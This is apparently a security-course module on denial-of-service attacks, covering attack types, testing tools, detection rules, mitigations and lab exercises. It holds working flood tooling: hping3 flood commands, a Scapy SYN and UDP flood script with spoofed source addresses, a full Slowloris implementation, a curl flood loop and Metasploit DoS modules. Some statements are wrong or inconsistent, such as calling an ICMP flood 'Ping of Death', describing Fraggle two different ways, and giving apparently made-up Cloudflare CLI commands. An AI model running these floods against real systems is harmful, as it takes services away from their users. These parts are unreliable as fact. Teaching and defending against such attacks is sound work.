# Module 10 Denial of Service (DoS) and Distributed Denial of Service (DDoS)

## Overview

Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks are designed to make computer systems, networks, or services unavailable to legitimate users by overwhelming them with malicious traffic or exploiting vulnerabilities to crash systems. DoS attacks originate from a single source, while DDoS attacks utilize multiple compromised systems (botnets) to amplify the attack power and make mitigation more difficult.

## Learning Objectives

- Understand the fundamentals of DoS and DDoS attacks
- Learn different attack vectors and techniques
- Master DoS/DDoS testing tools and methodologies
- Develop skills in attack detection and mitigation
- Understand legal and ethical considerations

---

## Fundamentals of DoS/DDoS Attacks

### What is Denial of Service?

Denial-of-Service is a type of attack in which service offered by a system or a network is denied/unavailable. Service may either be denied, reduced in functionality, or prevent access entirely.

### Key Characteristics

- DoS (Denial of Service): Attack from a single source
- DDoS (Distributed Denial of Service): Attack from multiple sources (botnet)
- Objective: Make resources unavailable to legitimate users
- Impact: Service disruption, financial loss, reputation damage

### Common Symptoms of DoS Attacks

- Slow performance of network or system
- Increase in spam email (SMTP flooding)
- Unavailability of resources or services
- Loss of access to websites or web applications
- Disconnection of wireless or wired internet connections
- Denial of access to any internet services
- Unusual network traffic patterns
- Server crashes or freezing

---

## Types and Categories of DoS/DDoS Attacks

### Layer-Based Classification

#### Layer 3 (Network Layer) Attacks

##### ICMP Flood (Ping of Death)

- Overwhelming target with ICMP Echo Request packets
- Consumes network bandwidth and processing resources
- Can cause network congestion and system overload

##### IP Fragmentation Attacks

- Sending fragmented IP packets to exhaust reassembly resources
- Teardrop attack: Overlapping fragment offsets
- Fraggle attack: UDP fragmentation flooding

#### Layer 4 (Transport Layer) Attacks

##### SYN Flood Attack

- Exploits TCP three-way handshake process
- Attacker sends multiple SYN requests with spoofed IP addresses
- Victim responds with SYN-ACK but never receives final ACK
- Connection table becomes full, preventing legitimate connections

##### UDP Flood Attack

- Sending large volumes of UDP packets to random ports
- Forces target to respond with ICMP "Destination Unreachable"
- Consumes both bandwidth and processing power

##### TCP Connection Flood

- Establishing large numbers of legitimate TCP connections
- Exhausts server connection pool and memory resources

- Also known as TCP State Exhaustion attack

### Layer 7 (Application Layer) Attacks

#### HTTP Flood

- Overwhelming web servers with HTTP requests
- GET/POST flood attacks targeting specific resources
- More sophisticated than network layer attacks

#### Slowloris Attack

- Holds connections open by sending partial HTTP requests
- Keeps connections alive with periodic headers
- Eventually exhausts web server connection pool

#### Slow POST Attack

- Sends legitimate POST requests very slowly
- Keeps server waiting for complete request body
- Ties up server resources for extended periods

### Attack Methodology Categories

#### Volumetric Attacks

- Goal: Overwhelm network bandwidth
- Mechanism: High volume of traffic (Gbps scale)
- Examples: UDP floods, ICMP floods, amplification attacks
- Measurement: Bits per second (bps)

#### Protocol Attacks

- Goal: Exhaust server resources or network equipment
- Mechanism: Exploit protocol weaknesses
- Examples: SYN floods, fragmented packet attacks
- Measurement: Packets per second (pps)

#### Application Layer Attacks

- Goal: Crash or overwhelm application services
- Mechanism: Target specific application vulnerabilities
- Examples: HTTP floods, DNS query floods
- Measurement: Requests per second (rps)

---

## Advanced DoS/DDoS Techniques

### Amplification Attacks

#### DNS Amplification

```
# DNS amplification attack concept
# Attacker sends small DNS query with spoofed source IP (victim)
# DNS server responds with large answer to victim
# Amplification factor can be 50:1 or higher

# Example DNS query for amplification
dig ANY victim-domain.com @open-dns-resolver
```

#### NTP Amplification

```
# NTP amplification using monlist command
# Small request results in large response list
ntpdc -c monlist target-ntp-server
```

#### SNMP Amplification

```
# SNMP amplification using GetBulk requests
snmpbulkget -v2c -c public target-ip .1.3.6.1.2.1.1
```

### Reflection Attacks

#### Smurf Attack

- ICMP echo requests to broadcast address with spoofed source IP
- All hosts on network respond to victim IP
- Creates amplification effect

#### Fraggle Attack

- Similar to Smurf but uses UDP instead of ICMP

- Targets UDP echo service (port 7) or chargen service (port 19)

### Distributed Reflection DoS (DRDoS)

- Combines reflection and amplification techniques
- Uses multiple reflector servers to hide attack source
- Difficult to trace back to original attacker

### Botnet-Based Attacks

#### Command and Control (C&C)

- Attacker compromises multiple systems to create botnet
- Central C&C server coordinates attack
- Can combine multiple attack vectors simultaneously

#### Peer-to-Peer Botnets

- Decentralized command structure
- More resilient to takedown efforts
- Harder to detect and mitigate

---

## DoS/DDoS Testing Tools

### Network Layer Testing Tools

#### Hping3

```
# TCP SYN flood
hping3 -S -p 80 --flood target-ip

# UDP flood
hping3 --udp -p 53 --flood target-ip

# ICMP flood
hping3 --icmp --flood target-ip

# Custom packet crafting
hping3 -S -p 80 -i u1000 target-ip  # Send SYN every 1ms

# Fragmentation attack
hping3 -S -p 80 -f target-ip  # Fragment packets

# Land attack (source = destination)
hping3 -S -p 80 -a target-ip target-ip
```

#### Nmap DoS Scripts

```
# Various DoS testing scripts
nmap --script dos target-ip

# Specific DoS scripts
nmap --script http-slowloris target-ip
nmap --script smb-flood target-ip
nmap --script ssl-dh-params target-ip

# Custom timing for DoS testing
nmap -T5 --script dos target-ip
```

#### Scapy (Python)

```
#!/usr/bin/env python3
from scapy.all import *
import random

def syn_flood(target_ip, target_port, packet_count):
    """SYN flood attack using Scapy"""
    for i in range(packet_count):
        # Random source IP and port
        source_ip = ".".join(str(random.randint(1,254)) for _ in range(4))
        source_port = random.randint(1024, 65535)

        # Create SYN packet
        packet = IP(src=source_ip, dst=target_ip) / TCP(sport=source_port, dport=target_port, flags="S")

        # Send packet
        send(packet, verbose=0)

        if i % 1000 == 0:
            print(f"Sent {i} packets")

def udp_flood(target_ip, target_port, packet_count):
    """UDP flood attack using Scapy"""
```

```
    for i in range(packet_count):
        source_ip = ".".join(str(random.randint(1,254)) for _ in range(4))
        source_port = random.randint(1024, 65535)

        # Create UDP packet with random data
        packet = IP(src=source_ip, dst=target_ip) / UDP(sport=source_port, dport=target_port) / Raw(load="X" * 1024)

        send(packet, verbose=0)

# Usage examples
# syn_flood("192.168.1.100", 80, 10000)
# udp_flood("192.168.1.100", 53, 5000)
```

## Application Layer Testing Tools

### LOIC (Low Orbit Ion Cannon)

```
# LOIC is a GUI application - configuration steps:
# 1. Set target IP or URL
# 2. Select attack method:
#    - TCP: Traditional TCP flood
#    - UDP: UDP packet flood
#    - HTTP: Application layer attack
# 3. Configure parameters:
#    - Port number
#    - Threads
#    - Speed
# 4. Start attack

# Command line alternative
# mono LOIC.exe /target:192.168.1.100 /port:80 /method:tcp /threads:10
```

### HOIC (High Orbit Ion Cannon)

```
# HOIC features:
# - Multiple target URLs (up to 256)
# - Booster scripts for enhanced attacks
# - HTTP POST/GET flood capabilities
# - User-agent randomization

# Configuration steps:
# 1. Add target URLs
# 2. Load booster scripts
# 3. Configure attack power
# 4. Launch coordinated attack
```

### Slowloris

```
#!/usr/bin/env python3
import socket
import threading
import time
import random

class Slowloris:
    def __init__(self, target, port=80, sockets=200):
        self.target = target
        self.port = port
        self.socket_count = sockets
        self.sockets = []

    def create_socket(self):
        """Create and return a socket connection"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(4)
            sock.connect((self.target, self.port))

            # Send partial HTTP request
            sock.send(f"GET /?{random.randint(0, 2000)} HTTP/1.1\r\n".encode())
            sock.send(f"Host: {self.target}\r\n".encode())
            sock.send("User-Agent: Mozilla/5.0\r\n".encode())
            sock.send("Accept-language: en-US,en\r\n".encode())

            return sock

        except socket.error:
            return None

    def attack(self):
        """Launch Slowloris attack"""
        print(f"Starting Slowloris attack on {self.target}:{self.port}")

        # Create initial sockets
        for _ in range(self.socket_count):
            sock = self.create_socket()
```

```
        if sock:
            self.sockets.append(sock)

    while True:
        print(f"Active sockets: {len(self.sockets)}")

        # Send keep-alive headers
        for sock in list(self.sockets):
            try:
                sock.send(f"X-a: {random.randint(1, 5000)}\r\n".encode())
            except socket.error:
                self.sockets.remove(sock)

        # Replace dead sockets
        while len(self.sockets) < self.socket_count:
            sock = self.create_socket()
            if sock:
                self.sockets.append(sock)

        time.sleep(15)  # Wait before next keep-alive

# Usage
# slowloris = Slowloris("192.168.1.100", 80, 200)
# slowloris.attack()
```

### HTTP Flood Tools

```
# Apache Bench (ab) - Legitimate tool that can be misused
ab -n 100000 -c 1000 http://target-ip/

# Siege
siege -c 1000 -t 60s http://target-ip/

# wrk
wrk -t12 -c400 -d30s http://target-ip/

# Custom HTTP flood with curl
for i in {1..10000}; do curl http://target-ip/ & done
```

### Metasploit DoS Modules

```
# Metasploit DoS auxiliaries
use auxiliary/dos/tcp/synflood
set RHOST target-ip
set RPORT 80
run

use auxiliary/dos/http/slowloris
set RHOST target-ip
set RPORT 80
run

use auxiliary/dos/ssl/dtls_fragment_overflow
set RHOST target-ip
run

use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
set RHOST target-ip
run
```

---

## Detection and Monitoring

### Network-Based Detection

#### Traffic Analysis Indicators

```
# Monitor network traffic patterns
# Unusual traffic volume
netstat -i  # Interface statistics

# Connection state monitoring
netstat -an | grep SYN_RECV | wc -l  # Count half-open connections

# Bandwidth monitoring
iftop -i eth0  # Real-time bandwidth usage
vnstat -l -i eth0  # Live bandwidth monitoring

# Packet capture for analysis
tcpdump -i eth0 -n host target-ip
wireshark  # GUI-based packet analysis
```

#### Detection Signatures

```
# Snort rules for DoS detection
# SYN flood detection
alert tcp any any -> $HOME_NET any (msg:"SYN Flood"; flags:S; threshold:type both, track by_dst, count 100, seconds 1; sid:1000001;)

# ICMP flood detection
alert icmp any any -> $HOME_NET any (msg:"ICMP Flood"; threshold:type both, track by_dst, count 100, seconds 1; sid:1000002;)

# UDP flood detection
alert udp any any -> $HOME_NET any (msg:"UDP Flood"; threshold:type both, track by_dst, count 100, seconds 1; sid:1000003;)
```

### System-Based Detection

```
# System resource monitoring
# CPU usage monitoring
top -p $(pgrep -d',' httpd)  # Monitor web server processes

# Memory usage
free -m  # Check available memory
ps aux --sort=-%mem | head  # Top memory consumers

# Network connections
ss -tuln  # List listening sockets
ss -o state syn-recv  # Half-open connections

# Log analysis
tail -f /var/log/apache2/access.log | grep -E "40[0-9]|50[0-9]"  # Error responses
grep "Connection reset" /var/log/messages
```

### Application-Level Monitoring

```
# Web server monitoring
# Apache mod_status
curl http://localhost/server-status

# Nginx status
curl http://localhost/nginx_status

# Application performance monitoring
# Response time monitoring
curl -w "@curl-format.txt" -o /dev/null http://target-ip/

# Where curl-format.txt contains:
#     time_namelookup:  %{time_namelookup}s\n
#        time_connect:  %{time_connect}s\n
#     time_appconnect:  %{time_appconnect}s\n
#    time_pretransfer:  %{time_pretransfer}s\n
#       time_redirect:  %{time_redirect}s\n
#  time_starttransfer:  %{time_starttransfer}s\n
#                     ----------\n
#          time_total:  %{time_total}s\n
```

---

## Mitigation and Defense Strategies

### Network-Level Defenses

#### Firewall Configuration

```
# iptables rules for DoS mitigation
# Limit new connections per second
iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT

# Limit concurrent connections from single IP
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j DROP

# Block ICMP floods
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# SYN flood protection
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 3 > /proc/sys/net/ipv4/tcp_synack_retries
```

#### Load Balancing

```
# Nginx load balancing configuration
upstream backend {
    least_conn;
    server 192.168.1.10:80 max_fails=3 fail_timeout=30s;
    server 192.168.1.11:80 max_fails=3 fail_timeout=30s;
    server 192.168.1.12:80 max_fails=3 fail_timeout=30s;
}

server {
```

```
    listen 80;

    # Rate limiting
    limit_req_zone $binary_remote_addr zone=dos:10m rate=1r/s;
    limit_req zone=dos burst=5;

    # Connection limiting
    limit_conn_zone $binary_remote_addr zone=addr:10m;
    limit_conn addr 10;

    location / {
        proxy_pass http://backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
```

## Application-Level Defenses

### Web Server Hardening

```
# Apache configuration for DoS protection
# mod_security rules
SecRuleEngine On
SecRule REQUEST_HEADERS:User-Agent "^$" "id:1001,deny,msg:'Empty User Agent'"

# mod_evasive configuration
LoadModule evasive24_module modules/mod_evasive24.so
<IfModule mod_evasive24.c>
    DOSHashTableSize    2048
    DOSPageCount        5
    DOSPageInterval     1
    DOSSiteCount        50
    DOSSiteInterval     1
    DOSBlockingPeriod   600
</IfModule>

# Timeout configuration
Timeout 60
KeepAliveTimeout 15
MaxKeepAliveRequests 100
```

### Application-Specific Mitigations

```
# Python Flask rate limiting example
from flask import Flask, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route("/api/endpoint")
@limiter.limit("5 per minute")
def api_endpoint():
    return "API response"

# Connection pooling and resource management
import threading
import queue

class ConnectionPool:
    def __init__(self, max_connections=100):
        self.pool = queue.Queue(maxsize=max_connections)
        self.lock = threading.Lock()

    def get_connection(self):
        try:
            return self.pool.get_nowait()
        except queue.Empty:
            return None

    def return_connection(self, conn):
        try:
            self.pool.put_nowait(conn)
        except queue.Full:
            pass
```

## Cloud-Based Protection

```
# Cloudflare CLI for DDoS protection
# Install Cloudflare CLI
```

```
npm install -g @cloudflare/cli

# Configure DDoS protection rules
cf firewall rules create --zone-id ZONE_ID \
  --action "block" \
  --expression "ip.geoip.country eq \"CN\"" \
  --description "Block traffic from specific country"

# AWS Shield Advanced (via AWS CLI)
aws shield describe-protection --resource-arn arn:aws:elasticloadbalancing:region:account:loadbalancer/name

# Enable AWS WAF rate limiting
aws wafv2 create-rule-group --scope CLOUDFRONT \
  --name "RateLimitRule" \
  --capacity 100 \
  --rules file://rate-limit-rules.json
```

---

## Incident Response and Recovery

### Immediate Response Actions

1. Identify Attack Type: Determine if it's volumetric, protocol, or application layer
2. Activate DDoS Response Team: Notify relevant stakeholders
3. Implement Emergency Controls: Block malicious traffic sources
4. Scale Resources: Add additional bandwidth or server capacity
5. Monitor Key Metrics: Track attack effectiveness and system health

### Traffic Analysis and Filtering

```
# Emergency traffic filtering
# Block top attacking IPs
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20

# Block IPs with iptables
for ip in $(cat attacking_ips.txt); do
    iptables -A INPUT -s $ip -j DROP
done

# Null route traffic
route add 192.168.1.100 gw 127.0.0.1 lo  # Null route attacker IP

# BGP blackhole routing (ISP level)
# Coordinate with ISP for upstream filtering
```

### Recovery Procedures

1. Gradual Service Restoration: Slowly bring services back online
2. Capacity Monitoring: Ensure systems can handle normal load
3. Attack Vector Analysis: Identify how attack was executed
4. Security Controls Review: Assess effectiveness of existing protections
5. Documentation: Record incident details for future reference

---

## Legal and Ethical Considerations

### Legal Framework

- Computer Fraud and Abuse Act (CFAA): US federal law covering DoS attacks
- UK Computer Misuse Act: Criminalizes DoS attacks in the UK
- International Laws: Various national and international regulations
- Authorized Testing: Always obtain explicit written permission

### Ethical Guidelines

1. Testing Environment: Only test on systems you own or have permission to test
2. Responsible Disclosure: Report vulnerabilities through proper channels
3. Minimize Impact: Avoid causing actual service disruption
4. Documentation: Maintain detailed logs of testing activities
5. Professional Standards: Follow industry ethical guidelines

### Authorized Testing Best Practices

```
# Pre-engagement checklist
# 1. Written authorization from system owner
# 2. Defined scope and limitations
# 3. Emergency contact procedures
# 4. Testing schedule coordination
# 5. Impact assessment and rollback plan

# Testing environment setup
```

```
# Use isolated lab networks when possible
# Configure traffic generators with realistic but safe loads
# Monitor system resources during testing
# Have recovery procedures ready
```

## Latest Trends and Techniques (2024)

### Emerging Attack Vectors

- IoT Botnets: Mirai and variants targeting IoT devices
- Reflection Amplification: Abuse of legitimate services (DNS, NTP, SNMP)
- Application Layer Complexity: Targeting specific application vulnerabilities
- Cryptocurrency Mining: Resource exhaustion through cryptojacking
- AI-Enhanced Attacks: Machine learning for evasion and optimization

### Modern Mitigation Technologies

- Machine Learning Detection: AI-based anomaly detection
- BGP Flowspec: Automated traffic filtering at ISP level
- Edge Computing: Distributed mitigation at network edge
- Container-Based Defense: Microservices architecture for resilience
- Quantum-Safe Protocols: Future-proofing against quantum attacks

### Cloud Security Integration

```yaml
# Kubernetes DDoS protection example
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ddos-protection
spec:
  podSelector:
    matchLabels:
      app: web-server
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: load-balancer
    ports:
    - protocol: TCP
      port: 80
```

## Practical Exercises and Labs

### Lab 1: SYN Flood Attack Simulation

```bash
# Objective: Demonstrate SYN flood attack and mitigation
# Setup:
# 1. Two VMs: Attacker (Kali Linux) and Target (Ubuntu Server)
# 2. Configure target with vulnerable web service
# 3. Monitor network traffic with Wireshark

# Attack execution:
hping3 -S -p 80 --flood target-ip

# Mitigation implementation:
iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

# Result analysis:
netstat -an | grep SYN_RECV | wc -l
```

### Lab 2: HTTP Slowloris Attack

```bash
# Objective: Understand application-layer DoS attacks
# Implementation: Python-based Slowloris attack
# Mitigation: Web server configuration and monitoring

# See Slowloris class implementation above
# Configure Apache/Nginx with appropriate timeout settings
# Monitor connection states and server performance
```

### Lab 3: DDoS Detection System

```bash
# Objective: Build automated DDoS detection system
# Components:
# 1. Traffic monitoring script
```

```
# 2. Threshold-based alerting
# 3. Automated mitigation triggers

# Traffic monitoring script example:
#!/bin/bash
THRESHOLD=1000
INTERFACE="eth0"

while true; do
  PPS=$(tcpdump -i $INTERFACE -c 100 2>/dev/null | wc -l)
  if [ $PPS -gt $THRESHOLD ]; then
    echo "Potential DDoS detected: $PPS packets/second"
    # Trigger mitigation
    iptables -A INPUT -i $INTERFACE -m limit --limit 10/sec -j ACCEPT
  fi
  sleep 5
done
```

---

## References and Further Reading

### Technical Documentation

- *NIST Special Publication 800-61: Computer Security Incident Handling Guide*
- *RFC 4732: Internet Denial-of-Service Considerations*
- *SANS Institute: DDoS Attacks and Defense*

### Industry Reports

- *Cloudflare DDoS Attack Trends*
- *Akamai State of the Internet Security Report*
- *Arbor Networks ATLAS Intelligence*

### Research Papers

- "DDoS Attack Detection and Mitigation Techniques: A Survey"
- "Machine Learning Approaches for DDoS Detection"
- "IoT Botnet Analysis and Defense Mechanisms"

### Training Resources

- *SANS SEC503: Intrusion Detection In-Depth*
- *EC-Council Certified Security Analyst (ECSA)*
- *Offensive Security Advanced Web Attacks and Exploitation (AWAE)*

---

*This content is provided for educational purposes only. All DoS/DDoS testing techniques should be used only in authorized testing environments with proper permissions. Unauthorized DoS attacks are illegal and can result in severe penalties.*